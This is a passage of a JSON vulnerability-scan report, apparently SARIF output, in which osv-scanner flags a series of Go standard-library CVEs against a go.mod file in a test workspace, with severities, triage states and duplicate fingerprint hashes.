"1ae4ef8b8b8a4f551a059d44a7ef8cd6667626e4970ace1e8df46c5cfc890658", "52f2cc46f69917bd2141197ed67ce396badc3b6e86aec73219fe408e51d067fc", "637ee896c9e3e1b30aac96c550b5a5ea8940436e74dcbba0f468a263db278d7f", "8fc55f2c24257c487d5a06cd2cf2200de66ffb01fcf2cf762f9080ea9bb9ce53", "911e5ffb0d6337432d1fd4365583de4d89a0dd3b16d895bce0cdcb4bacb4b368", "96099170e50146c58611f658facfbd8712b4aa461e3f3ea5bff0b45d330c447d"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4601", "level": "error", "message": {"text": "stdlib: GO-2026-4601"}, "properties": {"repobilityId": 113581, "scanner": "osv-scanner", "fingerprint": "74b98ad90b5257a87ad6a906dde3a91015aae9d8900a1e63372d01ebaa62b05c", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-25679", "CVE-2026-25679"], "package": "stdlib", "rule_id": "GO-2026-4601", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-25679|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4601"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["23deb64b06d2ba6e541889b66a62db4c6eff461d33a028e2b5d31a37f3ec9b0c", "74b98ad90b5257a87ad6a906dde3a91015aae9d8900a1e63372d01ebaa62b05c", "ab824ca494cc3d7239f2abd572e2a96f940633e0cdd51beac1e3a3f23ef5314e", "be5fb53b40535e210796fc69f2cacb97aa9ebbddcf2c2f27abc2aa67f497270c", "f2e38685fa402e988c5e8e84d1a3fe2e0dcb967f61f854cacdac9d9aebbd07d2", "f47fb5ee935393894fda588be326c30b91c9d66dd2d7669e2387bade39051854", "f832bba5f38025a140aaf487e90783c6f928c8abd0518f5107977fc9d61bf37f"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4403", "level": "error", "message": {"text": "stdlib: GO-2026-4403"}, "properties": {"repobilityId": 113580, "scanner": "osv-scanner", "fingerprint": "b003ddc874fce2c262fa0afb8e3faa512a93cab6dbbc2079219f7e4dcfeb2144", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-22873", "CVE-2025-22873"], "package": "stdlib", "rule_id": "GO-2026-4403", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-22873|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4403"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["5f9bac096cf8b05f7623116a267da5b045e29948e83b745c217e639001e0471f", "68eca41cd3da2cb6440df3c6818935935b61663bad4863ccbca609861706fd16", "9d9b816aff062ffe33e502937ae95128cdfce87fe06ca9a52eb191e66b84b601", "a920211aace83c16a9fe12b292941098e610fcfa113e31bc55f26f96ace10bde", "b003ddc874fce2c262fa0afb8e3faa512a93cab6dbbc2079219f7e4dcfeb2144", "dfb947707a5b0efa3ee44b20428016d80aff54e8959c90de37db3a9182dc49e0", "ea97443af7d4694d0eca6d19792332a130ae75d7446d7bb0e65f3f3969b7af23"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4342", "level": "error", "message": {"text": "stdlib: GO-2026-4342"}, "properties": {"repobilityId": 113579, "scanner": "osv-scanner", "fingerprint": "cad027442f496290b03bc79efc43c2857db79a1a2029de8e8a374e93e92e35fc", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61728", "CVE-2025-61728"], "package": "stdlib", "rule_id": "GO-2026-4342", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61728|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4342"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["09203aa41ac58bf1315143e08d4993c1b2a578643dcf281e9efc3b7084d0927b", "1ef6a6b251b2a6cd0f2fc813d43226b6d40a27421c9affb4545d844457cb0905", "31c16b95251d4812a3692fac9f11e8930ebf19568c824a2907bb7788f2bf911c", "a748c08647c0e0d08f9ed888c6d47e35db717fb1cf5a5582bd770f495da189f1", "c16e761b8136b3c646b22028bbcc48979d347b1a604ff9cf44d443b6f84a0ec4", "cad027442f496290b03bc79efc43c2857db79a1a2029de8e8a374e93e92e35fc", "e1c5348fc5da291c99d0109ab7369975b789abfc19049a499c5364c54fd6f68f"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4341", "level": "error", "message": {"text": "stdlib: GO-2026-4341"}, "properties": {"repobilityId": 113578, "scanner": "osv-scanner", "fingerprint": "6fcc1fe7ab4148af1ca877a0717a980dd93762eaf8a122b9a457b5f73ad8cb35", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61726", "CVE-2025-61726"], "package": "stdlib", "rule_id": "GO-2026-4341", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61726|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4341"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["1201b0be2a25370bfe2e586e4aa693758661512b3a05b02daabf337afdd946cf", "24b9fc7de9cc08658f78b292e916eb1194ed23ff323befb8d9225fa82771f655", "5c1a48ac4aac9cf8a87c85c5ada0b1bff9fce6f1948a732d2480d5a1626a1b24", "6fcc1fe7ab4148af1ca877a0717a980dd93762eaf8a122b9a457b5f73ad8cb35", "99c2747d05811667b6311a66b7b492255998229c324b90c234f2e7e4bea4b522", "ba9de4f58151142b962e1df9cb00f86a39bb0b92445217db0023c7342f78d0da", "c9500d213ec2843345c0c30cc399beb30f1feea2e19a4a96e8b41288a460a92b"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4340", "level": "error", "message": {"text": "stdlib: GO-2026-4340"}, "properties": {"repobilityId": 113577, "scanner": "osv-scanner", "fingerprint": "f53c94f3d44a4260b246d9d854fe3797c58aed452ae99d5d3a70f3a4596476f6", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61730", "CVE-2025-61730"], "package": "stdlib", "rule_id": "GO-2026-4340", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61730|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4340"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["06b8d002af2de5e106704dae90f18420bf4a38535278bc884ab76b3bc70967f5", "2a067c8f150db69a950cdcfdfddacd713d7fd67e9c9b2b74ba70958f9d320493", "2d10530352dba1de7c65015ac5cb5da101e10b273fce97cf81cdf0d6524775e1", "377c11fb94eb27b26348bd3e6bdb6ec351463aa06cd44131b07e8280665986b2", "90618bcb18f43c8be383c56991ce41abe3adfbff3bf65dc1d05d27011dea6f4b", "e63223c3170f2bcb9e60649ffdf1d49b2552e8ccbbfd0b0640f68f818604cc40", "f53c94f3d44a4260b246d9d854fe3797c58aed452ae99d5d3a70f3a4596476f6"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4337", "level": "error", "message": {"text": "stdlib: GO-2026-4337"}, "properties": {"repobilityId": 113576, "scanner": "osv-scanner", "fingerprint": "061eccb6ece11c494981d8aee1f23ce872c7f029d1e427bbcd0bc98af18b61d9", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-68121", "CVE-2025-68121"], "package": "stdlib", "rule_id": "GO-2026-4337", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-68121|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4337"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["061eccb6ece11c494981d8aee1f23ce872c7f029d1e427bbcd0bc98af18b61d9", "0f8f3e55a0baab96df9c73319d86725c623babac36d1b973bc2930735bf1ad1f", "5254b6d3790ab8be14b1a900e13efdae01470ff562787ee3e3b973bde95feac7", "5594806586dfee41410f234f652325f768b1e3cc493b457ad2131a67ab2fd49c", "9190c8b80e9cfb9d54fe6cf1dd4adaed325cea6bc5301618be96edd63c8a5883", "a88650fcc28e30b1b513bc2d5c8c67b7fe6998da38bfd7c8b888cdb4c9a811dd", "e0a1e232b537a783e7c4c49c0feae21fe99aff69771741e2214d253e9a315e45"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4175", "level": "error", "message": {"text": "stdlib: GO-2025-4175"}, "properties": {"repobilityId": 113575, "scanner": "osv-scanner", "fingerprint": "5413cdbf06f51a9d860c3a0ffda6aedeaf8fd76738d7d5a7f3ea2fa4340afd0e", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61727", "CVE-2025-61727"], "package": "stdlib", "rule_id": "GO-2025-4175", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61727|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4175"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["16d81a648b9ac78e273a50c7ce863b3650a6268a6a5a688a9625b052d86e76bf", "5413cdbf06f51a9d860c3a0ffda6aedeaf8fd76738d7d5a7f3ea2fa4340afd0e", "5ad86081bec638bc5a95665f74f1830701b04affcb65d10bfc4f5284b7ceb8d5", "8a0f6bcdeabc18749d849ed9fbfb3fcdaef57eb30857796a9fe648fa68061bdf", "8e0f282225ad07d968cf11be820e8839e0a671c8798e5e20a2711bc1cfd013f3", "b5ca52f25cac409aa6bb46d08bba25ed1e6c256a69cee1be131b5a890099ee02", "d335ce166a1561232b12690e0aee3844d0ae6824811497dfb21f5a93ec6696f5"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4155", "level": "error", "message": {"text": "stdlib: GO-2025-4155"}, "properties": {"repobilityId": 113574, "scanner": "osv-scanner", "fingerprint": "6562c79e36ae13cab25f36550c72becf1fe1c345eb3ade088411fe1f547e651f", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61729", "CVE-2025-61729"], "package": "stdlib", "rule_id": "GO-2025-4155", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61729|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4155"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["0429f509d670373abc7fc4312a4e051b15b3ce750bf685a370fdb41b0bbc4019", "06a972bc0434934a7b9bbedab187b916993772c7045d6a347ace62fc270ac299", "438ac952b7bafee18db79f1a9ba210206324c6fa9ba4baed874a88e80d6ea5a5", "6562c79e36ae13cab25f36550c72becf1fe1c345eb3ade088411fe1f547e651f", "a1dfbbf1f874407b7b1cd9d979047391b002c6065eef31cf7fa9a94da1e48974", "c48cddd4368b489ee427ad4f74ae5907924ccd74766bb442f6dfafb8a2aafe8a", "d1bdf6e08062963134ee46502228a8f333ab4976542f99e718ac962134edc2e9"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4015", "level": "error", "message": {"text": "stdlib: GO-2025-4015"}, "properties": {"repobilityId": 113573, "scanner": "osv-scanner", "fingerprint": "9587118c240c4ff129ec54135a0aa451d0b221990b22bb0ab6f76a304d07a497", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61724", "CVE-2025-61724"], "package": "stdlib", "rule_id": "GO-2025-4015", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61724|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4015"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["0658d633411005a1b09a2b53e3791f2d6bf5a4d3caf830aee5839c1859ed351c", "1117198fe32a80e1a955b89d82da0ec876947cf75c75906b505099344784249d", "54f5d14a684af6af920afea2a7b80827becd8c0a0ce2be3c26f2557a30dbcadf", "8994641ac825c1c7d98f248aed7d765c99092d2796e8514dca431478b498f519", "9587118c240c4ff129ec54135a0aa451d0b221990b22bb0ab6f76a304d07a497", "c09f49aa70bebf0b7fd2c06ce05578f03aa08e94c18c3ba05c6e183ca93af683", "ee74812af89276ac20815174de0d9aea4b5501dea0c77bc8b1b23ab6032a1332"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4014", "level": "error", "message": {"text": "stdlib: GO-2025-4014"}, "properties": {"repobilityId": 113572, "scanner": "osv-scanner", "fingerprint": "de8e0cf238e0ed54cc6b1238394ce23081bb3abdf4080ab250c470f8dac25dec", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58183", "CVE-2025-58183"], "package": "stdlib", "rule_id": "GO-2025-4014", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58183|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4014"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["055f43ac728d3dcb8246a74f111932b9cca7f854a18aea593c314f3f96b65b1d", "0e35ca18533de149c1eee0277d4aa2b4fc89f1c2c90fc9bee81cf8a99a5e5bd7", "23e188f1a23462204307d1c6743f02b44eb5bf8b835e2cb0b7b14c1fb567fb8a", "a538008cca8673ad60d8ff13be3cfb9d577f8519154c0d89e81c0e8ff56041db", "b4d00e605338987586a7861b2aabb12bef2518537f0735caa8024c2331e36de8", "de8e0cf238e0ed54cc6b1238394ce23081bb3abdf4080ab250c470f8dac25dec", "f9184a93fa7ffb11085620c9374aa20f41c2a74c4beaa939a4a442afe92cae91"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4013", "level": "error", "message": {"text": "stdlib: GO-2025-4013"}, "properties": {"repobilityId": 113571, "scanner": "osv-scanner", "fingerprint": "7ecec8601d9c040c970af1b02b22481678f652e0d2ab00a3388254bbb9910fc7", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58188", "CVE-2025-58188"], "package": "stdlib", "rule_id": "GO-2025-4013", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58188|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4013"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["1f8a74b82060f208a0ae4c1bab522f5f7c13a05ea50b4748b3e7ab9aa6e13279", "4bb808740f712d800c0d970a8f1ee9d4af0baeef599c19652a68a8a92ed3cbc4", "54bc386c04c0e7ba0ceec323d3551a69f930e7d089e03b6a6cf1957d910b8279", "55372c9c60a2f7748dbff2f6a519d7c4353a2be133f8519e92697b0d87f66d9f", "7ecec8601d9c040c970af1b02b22481678f652e0d2ab00a3388254bbb9910fc7", "d25c4bc3361d96757786fcec96f5faccd4d0c80952a128c9cf4711f0f16d33d0", "eed1a77c762422ee40cfbe04cd023a8d6107b5e2c938328359da40ab9d49409b"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4012", "level": "error", "message": {"text": "stdlib: GO-2025-4012"}, "properties": {"repobilityId": 113570, "scanner": "osv-scanner", "fingerprint": "76bb98f773bbf6fa76fa2c5e0841ccbc431040a2c89531302f20fa852fbd4f93", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58186", "CVE-2025-58186"], "package": "stdlib", "rule_id": "GO-2025-4012", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58186|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4012"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["0fdc3d7d1acc24136c0b1981d6bd0dd62793f0fe37fb311e57ca5d534e1b5796", "2b0ad5f36b4eb1c9d16f65febf2ef98a28cf46535269cc40f8eafb7b33266600", "44761db8dcd7dc8cb8fbcfbe51766f65bbf4520c41fdd54dcb22a4c8ef889c0e", "4915140d651caca67f92d012bd7b3e4e3fbddae194ffed43cd17bce6c95abc28", "73614703ec8579f55831fa36230c2f0134ce0a3717dc5482d179ad9417f90b6f", "76bb98f773bbf6fa76fa2c5e0841ccbc431040a2c89531302f20fa852fbd4f93", "827a8754a0d2efd891b124fbd0ef247254a29f1085e808d57412d56ecc20f95e"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4011", "level": "error", "message": {"text": "stdlib: GO-2025-4011"}, "properties": {"repobilityId": 113569, "scanner": "osv-scanner", "fingerprint": "219df6384cda750a488280394619e2cf8cc69c210b45d1a0303cf5be42450d83", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58185", "CVE-2025-58185"], "package": "stdlib", "rule_id": "GO-2025-4011", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58185|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4011"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["219df6384cda750a488280394619e2cf8cc69c210b45d1a0303cf5be42450d83", "443cacddabd56bc41db91bc6a85252768baa7c70c6326b5f03d940081775e2dd", "639a38a7d196df442b4b8f4e20b74544401e50b8d0cc1e14352d1824de298d8f", "7cbdba60dd8bb20f8eac3d129e2717a6d28a02b54672a007774f4d27880ce672", "81bd188c72bb840acb88cf04a83e1e59ae170fe199ad5517e76775f7bb2c924c", "91442b89b66ec98f5d9a7ba97f0a161ffcfab695c4358076e3c464e41558e3a9", "c3646ca9bb6a931e258849cae0b3a1563292a2c47dd9ac2ecc3d2e02e0aed059"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4010", "level": "error", "message": {"text": "stdlib: GO-2025-4010"}, "properties": {"repobilityId": 113568, "scanner": "osv-scanner", "fingerprint": "5c18c60c3946f317d85e6f51500ed9ea238913115c74ec04cfc7c58f1746aee4", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-47912", "CVE-2025-47912"], "package": "stdlib", "rule_id": "GO-2025-4010", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-47912|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4010"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["0a2190e84b51a14bf5b5b98884e47804eb14494e072707c8f10dda8d8f2ae0a4", "2cf7ade5d04e7bc3cc4ba9fcba0117ba25c0e4fc0b9b06c2812abd406abeeed5", "51f7ca35eb34b17ec3198c430881fe59a6ec4a772275e10325b129d0d0aa775c", "58ed315bd7774b128ae9b69510dd6aa5acd588f5f44d2037a14ed79f40f2ca31", "5c18c60c3946f317d85e6f51500ed9ea238913115c74ec04cfc7c58f1746aee4", "7a173748d553a59ba91c53c3dec5ab12af5148cd2e5b0dcfccd73ba8e7c14677", "c4e7751cf536253fae1fa3971eaf232abda9f19886ffdc7aa29def20bcc7ae34"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4009", "level": "error", "message": {"text": "stdlib: GO-2025-4009"}, "properties": {"repobilityId": 113567, "scanner": "osv-scanner", "fingerprint": "6abeef0db90053c82af3ae0e52e6c06087c61d40c6c0adf9ed8210cb918c7de0", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61723", "CVE-2025-61723"], "package": "stdlib", "rule_id": "GO-2025-4009", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61723|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4009"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["27eb4a395020b1d1dd3c614fdd200b2d32622e7a120d3fe8f7a65799bf10d745", "652c0a0121a916097ca39e72a2c33566be05e4666b1655ca4c0e982ecb652780", "6abeef0db90053c82af3ae0e52e6c06087c61d40c6c0adf9ed8210cb918c7de0", "84ac41b9d3e05ee9913d71441c11fa78b20e32afb9f9229342ba37ceefb69ef2", "a718496581ee0848d877544d1aaff7d9d9a380e4aa2bfaa8832d89f59439fd0f", "bdd160602acf2508012d787e80f0488cf06aba7b3021889c582191e3a6abfbe4", "c9e48865d622efa8b5cae73cc0fa10af0369ccbdfab5901e577adbfeb276655f"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4008", "level": "error", "message": {"text": "stdlib: GO-2025-4008"}, "properties": {"repobilityId": 113566, "scanner": "osv-scanner", "fingerprint": "4c976be17c4532f456cb8f5f0f7b7b1f82b3aa4f94d635144629e7aca10d783f", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58189", "CVE-2025-58189"], "package": "stdlib", "rule_id": "GO-2025-4008", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58189|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4008"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["14130366bee8377f2816aa8e202213669a33a5636c76825c4428806b046aed21", "4700356c6d4e6185ef9dfcbc81c307ecf0bdb18df243f535d895a033d1395dde", "4c976be17c4532f456cb8f5f0f7b7b1f82b3aa4f94d635144629e7aca10d783f", "63c6a3403b10168995c7b9d94687f764088c2ddbd6d3062153c915bb4ad3262f", "8a328a3ce9b097b085dccd43c613f1d02d15669cac11c3cf587f0d6f417d30da", "9e716d1a8ac8aa47bf65ae63a82f6844522f0b505ca73c70f43fafa71eac92dd", "c375a5ebc5f56cfc15988d12cfaf04a9c506ff496fa16ce2938fc0970b9fa47b"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4007", "level": "error", "message": {"text": "stdlib: GO-2025-4007"}, "properties": {"repobilityId": 113565, "scanner": "osv-scanner", "fingerprint": "19c229ce7dfcf72ecc1ab72adbdc2d87afd363aa5286d51ab47a32321f6046c9", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-58187", "CVE-2025-58187"], "package": "stdlib", "rule_id": "GO-2025-4007", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-58187|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4007"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["02a400edee7a1c009d232bf83105f3b695230c4fdffbc71d17d3987d5a3cdff1", "107c4bc2e8a9a8e0d8e5d76246b312eae06e54459d123aab41af29a04b999ae4", "19c229ce7dfcf72ecc1ab72adbdc2d87afd363aa5286d51ab47a32321f6046c9", "3e843edc2cf5488882705709a46511f5d9e568ef9e9b0a8e9da32333fda28790", "698e0f2059bf5cf691bc6b278cb52114da6a305a40712e82c135f33f340c9419", "74d76f88543af235ec3e5ba25c926a72fadf50940a2a9f75a4fbfe77a95213f9", "fd5785c09f25bb983b6e09aceb23268ed593c3f80d40d09fcd968747b2ad9c82"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-4006", "level": "error", "message": {"text": "stdlib: GO-2025-4006"}, "properties": {"repobilityId": 113564, "scanner": "osv-scanner", "fingerprint": "f1e7830110b553512c099e20d6d627e8285e9c9baf9125a128070da71634ab2b", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-61725", "CVE-2025-61725"], "package": "stdlib", "rule_id": "GO-2025-4006", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-61725|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-4006"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["027ba461b9589132c8981edeec2ecd340872ed70203973dc5538c4716cc42900", "41114ad9b9b263a222587718ecf294a28efe636ab9d8893ffc1808335e307740", "6002fd63479fd1f7dea3763d2d7d142db2810b3bcad0c7ef1f204b3b5fc0ed55", "a535ab05a563809ea093434a7c288d3895b499ed2b10f27c8a3b3d9a6ef71cc6", "b0e2511735f2c984cabc0d983adca0258877da766b532eab6bdb282b8e954aba", "b22100a6cd9cb7bccd789294b78d93f1adc514247ec2dbd6122ca6588c84f981", "f1e7830110b553512c099e20d6d627e8285e9c9baf9125a128070da71634ab2b"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2025-3956", "level": "error", "message": {"text": "stdlib: GO-2025-3956"}, "properties": {"repobilityId": 113563, "scanner": "osv-scanner", "fingerprint": "f1ddf759ea73c921807075ce5b7b2eb69bde30d7dc4dcf52622ae5758ae97633", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2025-47906", "CVE-2025-47906"], "package": "stdlib", "rule_id": "GO-2025-3956", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2025-47906|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2025-3956"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["1bbefa83ce43e502f297ff97e0a8daea0f9314c4920eb47a2d29d9e805415122", "2044df11a317538abbba365949be4b862698b0d7703393dab0888c8f1f9099e9", "23956172005a086f55fbf9cacc3e5b4c5dbfb874db8bfe49d0503652bba50af2", "274caf1f33016c60a9b7f06c1f32a358f5b93d06d734289f4f2b5f7f9b9951c6", "6cbf85ae52ec6ea15f84ca80dd34a7445371b065ceef0d556fb4b76e51f827ab", 